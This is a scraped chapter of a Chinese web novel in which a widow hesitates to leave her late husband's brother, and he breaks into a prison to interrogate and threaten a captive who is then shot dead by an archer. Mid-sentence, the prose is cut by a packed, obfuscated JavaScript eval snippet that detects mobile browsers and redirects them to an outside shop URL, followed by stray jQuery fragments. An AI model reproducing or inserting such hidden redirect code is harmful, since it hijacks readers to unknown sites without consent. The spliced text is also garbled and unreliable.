文趣网 > 其他小说 > 亡夫他弟突然向我告白 > 17. 犹豫
    厢房内,张大人又被匆忙叫过来给陆叙白上药。

    来的路上他已听闻先前灵堂内的动乱,此刻一边给他包扎伤口,一边皱眉吩咐:“小郎君,伤口虽然不深,但这里几日最好不要见水。”

    陆叙白点点头表示知道了。

    齐慈盈忧心地问张大人:“那可会留疤?”

    张大人:“夫人不必忧心,我开些祛疤的膏药就好了。”

    “不过小伤,嫂嫂不必担心。”陆叙白放下袖口,遮住缠着纱布的小臂,问齐慈盈,“嫂嫂,那名杜方公子要如何处置?”

    最好是杀了他。他想。

    不过嫂嫂向来善良,大概率会为他求情。

    想到这里,陆叙白又有点不高兴了。

    他都受伤了,她怎么还能向着旁人?

    齐慈盈接过张大人写下的方子,让阿樾交给厨房,让他们煎药,随后揉着太阳穴思考了一下,说道:“就交给廷尉处置吧。”

    她不想再问他们因何结仇了。

    小郎失了唯一能庇护他的兄长,作为他的遗孀,没有看护好他,是她的失职。

    无论如何,她都不允许有人伤害她的家人。

    “好。”陆叙白藏起唇角的笑意。

    一番折腾下来,天已经黑了。

    齐慈盈唤下人摆上饭菜,连带张大人开给陆叙白的那碗用于补血的汤药,也摆上了桌。

    黑漆漆的汤药散发着苦味,陆叙白忍不住捏了下鼻子,他是真的不想喝,也觉得没什么必要喝,从前跟着兄长在战场上时,比这更重的伤都受过,那时也没见要喝什么补气血的药。

    可面对齐慈盈坚决的态度,他只得端起碗,屏息一口气猛灌进肚子里。

    也不知道张大人是不是存心为难他,开的方子苦得他舌头都发麻。

    齐慈盈飞快地往他嘴里塞了枚蜜饯,“含一会苦味就散了。”

    唇瓣被妇人指腹擦过时麻了一瞬,蜜饯的甜在口腔里爆开,陆叙白呆了一下,才想起回她一个含糊的音节:“嗯。”

    这顿饭用的简单,饭后,齐慈盈又细细叮嘱了陆叙白几句关于伤口的注意事项,等他一一应下后才放他离开。

    又过了几天,陆叙白的伤口好得差不多了,夫君的丧事也差不多结束,齐慈盈命女侍备了辆马车,去城外的福光寺。

    因邺朝不坟、不树、不谒,加之太后娘娘与新帝葬身火海,尸骨无存,因此新帝只将他们的牌匾供奉在寺中。

    她今日约了与阿兄一起到寺中为他们上香。

    半个时辰后,马车在福光寺前停下。

    阿樾扶着夫人下车。

    齐大公子已在此等候多时,见妹妹到来后,扶着她一起往寺中走去。

    寺中香火旺盛,浓郁的檀香熏得眼睛发疼。

    齐慈盈望着齐太后的牌位,忍不住又落下两行泪。

    幼时,阿爹与阿娘总是很忙,兄长每日也需要去太学上课,因此尚未出嫁的姑母便成了照顾她最多的人,开蒙后,她更是教她读书习字,教她为人处事的道理。

    曾经是亲是友是师,如今却成黄土一捧。

    而小皇帝,她曾看着他从羊羔大的小崽子长成半人高的小少年,陪着他从东宫无忧无虑的小太子,走到万人之上的帝王之位,如今却也只能对着一块木头燃香遥寄哀思。

    “阿盈,斯人已逝,莫要过度沉湎悲痛。”

    齐怀山掏出手帕擦去妹妹的泪水,带着她来到寺庙后的一间禅房中,确认四下无人后,他飞快拉上窗户,手指蘸了些茶水在桌上写了一行字,齐慈盈看到后猛地瞪大眼睛,捂住嘴才免得自己惊呼出声。

    随后,她又忍不住落泪,却并非难过,而是欣喜。

    “活着就好啊。”她极轻地耳语了一句。

    齐怀山道:“所以妹妹,届时你必须同我们一起返回荆州。”

    一定得回荆州吗?

    她若回了荆州,陆叙白该如何?

    齐慈盈陷入沉默,她也不知道她为何突然犹豫。

    陆叙白与她并非血脉相连的亲人,而她与陆求芳之间也不过是一场政治联姻,她对他的情感也说不上多深厚,如今婚姻关系既已结束,她本该毫无顾忌地抽身离开……

    可是,她想起生辰那日少年郎那眸带泪水的模样,心中却生起几分不忍。

    他似乎是真的把她当成了唯一的亲人。

    但是……齐慈盈轻轻叹了口气,最终说道:“我会的。”

    回陆府的路上,路过彩衣街的糕点摊时,她让阿兄停下马车,买了些糖糕和果干带走。

    齐怀山帮妹妹付了钱。

    马车启程,车轱辘压着青石板,慢悠悠往陆府赶去。

    齐怀山只送到了门口,并没有下车。

    齐慈盈站在门边目送兄长远去后,才提起果干与糖糕往院中走。

    阿樾跟着夫人走到流芳苑门口,抢先推开院门,可却迟迟不见夫人进入,她有些疑惑地问:“郡君可是忘了什么东西?”

    “没有。”齐慈盈垂下眼,抬脚跨过门槛,将手中的糖糕与蜜饯交给阿樾,吩咐道:“替我送去小竹坞。”

    阿樾不解,却仍是照做了,片刻后,她回来说道:“小郎君这会儿不在小竹坞,我将东西交给他的书童了。”

    齐慈盈点点头,表示知道了,又问:“可有说他去了哪里?”

    阿樾答:“不知,小竹坞的下人只说小郎君会回来用晚膳。”

    也就是说,他中午大概不会回来了?

    齐慈盈屈指揉了揉太阳穴,让厨房留出一部分放在锅中热着,以防他提前回家没饭吃。

    接着对阿樾道:“拿着我的印鉴,派几位部曲悄悄去寻他,若无事就不必惊扰。”

    阿樾应下。

    可问题是,建康城这么大,谁又知道小郎君究竟在哪里呢?

    ……

    两条街外的廷尉府,陆叙白轻车熟路地翻墙跳了进去,落地时带起浅浅一阵风,未惊动任何人。

    杜方被关押在廷尉府北的牢狱内。

    陆叙白敲晕门口的守卫,拎着一盏烛灯,如鬼魅般在漆黑的牢狱中穿梭,很快找到了奄奄一息的杜方。

    ——哗啦。

    蓬头垢面、衣衫褴褛的男子被一盆冰冷的水泼醒,等他看清来人是谁后,那双浑噩的眼睛立刻被恨意填满。

    就是这个人面蛇心的少年毁了他的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698805|208057||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大好前程!

    杜方伸手去掐陆叙白的脖子,恶狠狠道:“我要杀了你——”

    “别吵。”

    话到一半,一枚尖锐的匕首抵在他喉管处,少年手稳稳向前,男子愤怒的声音被迫戛然而止。

    “我虽出身寒门,但好歹也是士族,”杜方费力地从牙缝中挤出声音,“你安敢杀我?!”

    “我有什么不敢的?”陆叙白冷笑一声,抬脚踩在杜方的膝盖上,用力一碾,杜方瞬间面色惨白,痛得想要尖叫,但碍于喉咙前抵着一把刀,只得将所有的愤怒全凝聚到眼睛里,恶狠狠地瞪着他。

    “再这么看着我,我就把你的眼睛挖掉。”陆叙白面无表情地说。

    见他当真伸手要抠他的眼珠,杜方终于有所收敛,不再用那种想杀人的目光盯着他了。

    “接下来,我问什么你答什么。”陆叙白预估了下守卫大致醒来的时间,抓着杜方的衣领将他丢到墙角,问:“是谁指使你来杀我的?”

    杜方:“我就不能是自己想杀你?”

    陆叙白嘲讽地扯了下嘴角,说道:“你没那个胆子,也没那个脑子。”

    他等了一会儿,不见杜方回答,耐心有些耗尽了,短刀的刃口用力往前一压,刺破他咽喉处的肌肤,“廷尉丞不一定会要你死,但我可不一定了。”

    “我杀你,可是跟踩死一只蝼蚁一样轻而易举。”他眸光冷冷。

    片刻,杜方终于松口:“你先把刀拿开,我再告诉你。”

    “你没有和我谈条件的资格。”陆叙白手中刀不退反进,杜方被逼得拼命向后仰头,着急大喊道:“是王——”

    ——嗖!

    利剑破空的声音在牢狱中响起,陆叙白侧身躲过,箭刃只削去了他一截衣袖,但不等他将杜方拎走,又一箭紧随而至,他不得不纵身后退。

    杜方抓住这个时机跑向牢房门口,抓着门栏大喊道:“救命啊!杀人了!”

    然而,回应他的并非拯救,而是一枚羽箭。

    噗呲、噗呲。

    胸口不断溢出鲜血,杜方震惊地看着没进心口的漆黑羽箭,想要厉声质问什么,喉管又被另一枚羽箭贯穿。

    他倒在地上,双目圆睁,表情十分骇人。

    陆叙白匿在阴影里,缓慢抽出腰间软剑,思考着如何从廷尉府全身而退。

    ——铮!

    变数只在瞬息间。

    软剑与箭矢撞在一处,擦出的火光映出黑衣人兜帽下一双如鹰隼般锐利的眼。

    “我认得你。”陆叙白一个纵步跃上房梁,躲开迎面而来的箭矢,说道:“你是朔阳王身边那位据说能百步之外取敌首级的弓弩手,任千山。”

    昏暗中,黑衣人似乎是笑了一下,陆叙白不太确定。

    “既然知道我的身份,那就请陆小郎君留下性命吧。”任千山举起弓弩,对准陆叙白,浑厚的声音没什么情绪起伏地纠正道:“已经没有朔阳王了。现在只有永成帝。”

    “哦。”陆叙白甩了甩软剑,挑衅地扬了下眉,“不过是王家的一条狗,叫什么有区别吗?”

    “放肆!”任千山怒道,“不过竖子,竟然如此放肆,老夫今日必叫你有来无回!”